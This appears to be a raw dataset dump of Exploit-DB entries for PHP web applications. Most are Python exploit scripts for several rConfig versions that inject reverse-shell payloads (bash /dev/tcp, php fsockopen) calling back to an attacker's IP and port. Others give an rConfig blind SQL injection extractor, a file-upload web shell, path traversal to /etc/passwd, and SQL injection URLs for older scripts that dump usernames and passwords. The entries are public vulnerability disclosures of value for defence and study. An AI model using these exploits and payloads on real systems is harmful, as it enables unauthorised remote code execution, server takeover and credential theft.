deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47555
Description: rConfig 3.9.2 - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-10-29
Author: Askar

Exploit:
# Exploit Title: rConfig 3.9.2 - Remote Code Execution
# Date: 2019-09-18
# Exploit Author: Askar
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
# CVE : CVE-2019-16662

#!/usr/bin/python

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    print "[-] Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"
print "[+] Check your listener !"

requests.get(url_to_send, verify=False)


rConfig-preauth.png
Exploit-DB #47982
Description: rConfig 3.9.3 - Authenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2020-01-30
Author: vikingfr

Exploit:
# Exploit Title: rConfig 3.9.3 - Authenticated Remote Code Execution
# Date: 2019-11-07
# CVE-2019-19509
# Exploit Author: vikingfr
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)
# Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh
# Version: tested v3.9.3
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24
#
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall
#
# $ python3 rconfig_CVE-2019-19509.py https://192.168.43.34 admin root 192.168.43.245 8081
# rconfig - CVE-2019-19509 - Web authenticated RCE
# [+] Logged in successfully, triggering the payload...
# [+] Check your listener !
# ...
# $ nc -nvlp 8081
# listening on [any] 8081 ...
# connect to [192.168.43.245] from (UNKNOWN) [192.168.43.34] 34458
# bash: no job control in this shell
# bash-4.2$ id
# id
# uid=48(apache) gid=48(apache) groups=48(apache)
# bash-4.2$ 

#!/usr/bin/python3

import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print ("rconfig - CVE-2019-19509 - Web authenticated RCE")

if len(sys.argv) != 6:
    print ("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port)

request = requests.session()

login_info = {
    "user": username,
    "pass": password,
    "sublogin": 1
}

login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200:
    print ("[+] Logged in successfully, triggering the payload...")
    encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))
    print ("[+] Check your listener !")
    exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:
    print ("[-] Wrong credentials !")
    exit()
Exploit-DB #48241
Description: rConfig 3.9.4 - 'search.crud.php' Remote Command Injection
Type: webapps
Platform: php
Date: 2020-03-23
Author: Matthew Aberegg

Exploit:
# Exploit Title: rConfig 3.9.4 - 'search.crud.php' Remote Command Injection
# Date: 2020-03-21
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.4.zip
# Version: rConfig 3.9.4
# Tested on: Cent OS 7 (1908)
# CVE: CVE-2020-10879

#!/usr/bin/python3

import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:
    print("[~] Usage : https://rconfig_host, Username, Password, Attacker IP, Attacker Port")
    exit()

host = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
attacker_ip = sys.argv[4]
attacker_port = sys.argv[5]

login_url = host + "/lib/crud/userprocess.php"
payload = "|| bash -i >& /dev/tcp/{0}/{1} 0>&1 ;".format(attacker_ip, attacker_port)
encoded_payload = urllib.parse.quote_plus(payload)


def exploit():
    s = requests.Session()

    res = s.post(
        login_url,
        data={
            'user': username,
            'pass': password,
            'sublogin': 1
        },
        verify=False,
        allow_redirects=True
    )

    injection_url = "{0}/lib/crud/search.crud.php?searchTerm=test&catId=2&numLineStr=&nodeId={1}&catCommand=showcdpneigh*.txt&noLines=".format(host, encoded_payload)
    res = s.get(injection_url, verify=False)

    if res.status_code != 200:
        print("[~] Failed to connect")


if __name__ == '__main__':
    exploit()
Exploit-DB #49644
Description: rConfig 3.9.6 - 'path' Local File Inclusion (Authenticated)
Type: webapps
Platform: php
Date: 2021-03-15
Author: Murat ŞEKER

Exploit:
# Exploit Title: rConfig 3.9.6 - 'path' Local File Inclusion (Authenticated)
# Date: 2021-03-12
# Exploit Author: 5a65726f
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
# Version: rConfig v3.9.6
# Install scripts  :
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Tested on: centOS 7
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall

# Description:
rConfig, the open source network device configuration management tool, is vulnerable to local file inclusion in /lib/ajaxHandlers/ajaxGetFileByPath.php with parameter path.  ajaxGetFileByPath.php allows authenticated users to download any file on the server.

The following steps can be carried out in duplicating this vulnerability.

- Login the rConfig application with your credentials.
- Enter the following link to your browser: 
http(s)://<SERVER>/lib/ajaxHandlers/ajaxGetFileByPath.php?path=../../../../../../etc/passwd
Exploit-DB #49665
Description: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1)
Type: webapps
Platform: php
Date: 2021-03-18
Author: Murat ŞEKER

Exploit:
# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1)
# Date: 2021-03-17
# Exploit Author: Murat ŞEKER
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
# Version: rConfig v3.9.6
# Install scripts  :
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Tested on: centOS 7
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall

# Description:
rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.

The following steps can be carried out in duplicating this vulnerability.

- Login the rConfig application with your credentials.
- Repeat 

POST /lib/crud/vendors.crud.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]831488254
Content-Length: 36619
Origin: https://localhost
Connection: close
Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform

----------------------------[PII_REDACTED][PII_REDACTED]831488254
Content-Disposition: form-data; name="vendorName"

thisisrce
----------------------------[PII_REDACTED][PII_REDACTED]831488254
Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
Content-Type: image/png

<?php phpinfo(); ?>
----------------------------[PII_REDACTED][PII_REDACTED]831488254
Content-Disposition: form-data; name="add"

add
----------------------------[PII_REDACTED][PII_REDACTED]831488254
Content-Disposition: form-data; name="editid"


----------------------------[PII_REDACTED][PII_REDACTED]831488254--



- Than go to http(s)://<SERVER>/images/vendor/file.php

Note: The file.php can be accessed without valid credentials.


If you change the <?php phpinfo(); ?> to <?php echo $_GET["cmd"];?>

and navigate the http(s)://<SERVER>/images/vendor/file.php?cmd=id

The `id` command will execute on server.
Exploit-DB #51163
Description: rconfig 3.9.7 - Sql Injection (Authenticated)
Type: webapps
Platform: php
Date: 2023-03-31
Author: azhen

Exploit:
# Exploit Title: rconfig 3.9.7 - Sql Injection (Authenticated)
# Exploit Author: azhen
# Date: 10/12/2022
# Vendor Homepage: https://www.rconfig.com/
# Software Link: https://www.rconfig.com/
# Vendor: rConfig
# Version: <= v3.9.7
# Tested against Server Host: Linux
# CVE: CVE-2022-45030

import requests
import sys
import urllib3
urllib3.disable_warnings()

s = requests.Session()

# sys.argv.append("192.168.10.150") #Enter the hostname

if len(sys.argv) != 2:
    print("Usage: python3 rconfig_sqli_3.9.7.py <host>")
    sys.exit(1)

host=sys.argv[1] #Enter the hostname


def get_data(host):
    print("[+] Get db data...")
    vul_url = "https://"+host+":443/lib/ajaxHandlers/ajaxCompareGetCmdDates.php?deviceId=-1&command='+union+select+concat(1000%2bord(substr({},{},1)),'-1-1')%20--%20"

    query_exp = "database()"
    result_data = ""

    for i in range(1, 100):
        burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate"}
        res = requests.get(vul_url.format(query_exp, i), cookies=s.cookies,verify=False)
        # print(res.text)

        a = chr(int(res.text[6:10]) - 1000)

        if a == '\x00':
            break

        result_data += a
        
        print(result_data)
    
    print("[+] Database name: {}".format(result_data))

    '''
    output:
    [+] Logging in...
    [+] Get db data...
    r
    rc
    rco
    rcon
    rconf
    rconfi
    rconfig
    rconfigd
    rconfigdb
    [+] Database name: rconfigdb        
    '''


def login(host):
    print("[+] Logging in...")
    url = "https://"+host+":443/lib/crud/userprocess.php"
    headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/login.php", "Upgrade-Insecure-Requests": "1"}
    
    data = {"user": "admin", "pass": "admin", "sublogin": "1"} #Use valid set of credentials default is set to admin/admin
    response=s.post(url, headers=headers, cookies=s.cookies, data=data, verify=False)
    get_data(host)

login(host)
Exploit-DB #48207
Description: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2020-03-12
Author: Engin Demirbilek

Exploit:
# Exploit Title: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
# Date: 2020-03-08
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.rconfig.com/
# Version: rConfig <= 3.94
# Tested on: centOS
# CVE: CVE-2020-10221
# Advisory link: https://engindemirbilek.github.io/rconfig-3.93-rce

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) < 6:
	print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
	exit()

url = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
payload = ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])

login = {
	'user':user,
	'pass':password,
	'sublogin':'1'
}
req = requests.Session()
print "Sendin login request ..."
login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)

payload = {
	'fileName':payload,
}



print "[+] Sendin exploit ..."

exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'},verify=False)

if exploit.status_code == 200:
	print "[+] Everything seems ok, check your listener."
else:
	print "[-] Exploit failed,  system is patched or credentials are wrong."
Exploit-DB #9552
Description: Re-Script 0.99 Beta - 'listings.php?op' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-31
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( listings.php op )
##
## REScript V.0.99 Beta
##
## http://www.ebigman.com/
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/REScript/listings.php?op=details&id=-1+UNION+SELECT+0,0,0,0,0,CONCAT_WS(0x3a,user_login,user_pass,user_email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+wp_users--
##
########################
########################
 
 
 
#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
######################################################################################################### 

# milw0rm.com [2009-08-31]
Exploit-DB #11943
Description: React software - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-29
Author: SNK

Exploit:
React software [local file inclusion]

- date: 29.03.2010

- author: SNK
- language: php
- page: http://react.nl
- vuln: http://page/forum/list_message/index.php?action=../../../../../../../../../../../../../etc/passwd%00
- dork: Powered by React - www.react.nl
Exploit-DB #11057
Description: Read Excel Script 1.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-07
Author: Yozgat.Us

Exploit:
Read Excel v1.1 Shell Upload Vulnerability

Author   : Yozgat.Us

Website  : WWW.YOZGAT.US

=======================================
Script   : Read Excel v1.1 Shell Upload

Vendor     : http://www.bts-gi.net.tc/home.php

=======================================
Vuln :
http://yozgat.us/ [Read_Excel_Path] /index.php


Demo:
http://server/read_excel/excel/kkk.php

=======================================

WWW.YOZGAT.US
Exploit-DB #16265
Description: Readmore Systems Script - SQL Injection
Type: webapps
Platform: php
Date: 2011-03-02
Author: vBzone & Zooka & El3arby

Exploit:
# Exploit Title: [Sql injextion]
# Google Dork: [Website Powered By ReadMore Systems,
Incorporated<http://readmoresystems.com/>
]
# Date: [02/03/2011]
# Author: [Mohammed Fathi(vBzone),Zooka, El3arby (Egyption Hacker's]
# Software Link: [http://readmoresystems.com]
# Version: [All]
# Tested on: [Windows XP professional]
# CVE : [if exists]
Sql injection on file News.php?id=
http://xxx.com/news.php?id=[Sql]
---- Live --
http://www.site.com/news.php?id=157[sql commends]
----
By Zooka,vBzone
http://tantaday.com
Exploit-DB #5910
Description: Ready2Edit - 'menuid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-23
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## Ready2Edit ( pages.php menuid )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Em@il  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : Ready2Edit
##
## site    : www.skylinewebnapps.com
##
########################
########################
##
##  -(:: SQL ::)-
##
##    www.site.com/
##            pages.php?menuid=-1+union+select+1,concat_ws(0x3a,username,password),3,4,concat_ws(0x3a,user(),version(),database())+from+sky_admin/*
##
##  -(:: L!VE DeMo ::)-
##
##    http://demo.skylinewebnapps.com/Ready2Edit/pages.php?menuid=-1+union+select+1,concat_ws(0x3a,username,password),3,4,concat_ws(0x3a,user(),version(),database())+from+sky_admin/*
##
#######################
#######################

#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-23]
Exploit-DB #43295
Description: Readymade PHP Classified Script 3.3 - 'subctid' / 'mctid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Readymade PHP Classified Script 3.3 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/advance-olx-clone/
# Version: 3.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/categories?subctid=[SQL]
# 
# -yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
# 
# http://server/categories?subctid=-yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
# 
# 2)
# http://localhost/[PATH]/categories?&mctid=[SQL]
# 
# -Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
# 
# http://server/categories?&mctid=-Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
# 
# # # # #
Exploit-DB #44018
Description: Readymade Video Sharing Script 3.2 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-11
Author: Varun Bagaria

Exploit:
##################################################################
# Exploit Title: Readymade Video Sharing Script - SQL Injection (Error Based)
# Google Dork: NA
# Date: 10.02.2018
# Exploit Author: Varun Bagaria
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/php-video-sharing-script/ 
# Version: 3.2
# Tested on: Windows 7
# Category: Webapps
# CVE :  NA
##################################################################

Proof of Concept
=================

Attack Parameter : search
Payload : '

Reproduction Steps:
------------------------------
1. Access the website
2. In the search bar insert ' and you will get error based SQL Injection
Exploit-DB #43333
Description: Readymade Video Sharing Script 3.2 - HTML Injection
Type: webapps
Platform: php
Date: 2017-12-14
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Readymade Video Sharing Script 3.2 - HTML Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/php-video-sharing-script/
# Demo: http://www.smsemailmarketing.in/demo/videosharing/
# Version: 3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17649
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability implication allows an attacker to inject html code ....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/single-video-detail.php?video_id=MTMy&comment=[CODE]&comment_submit=
# 
# 
# # # # #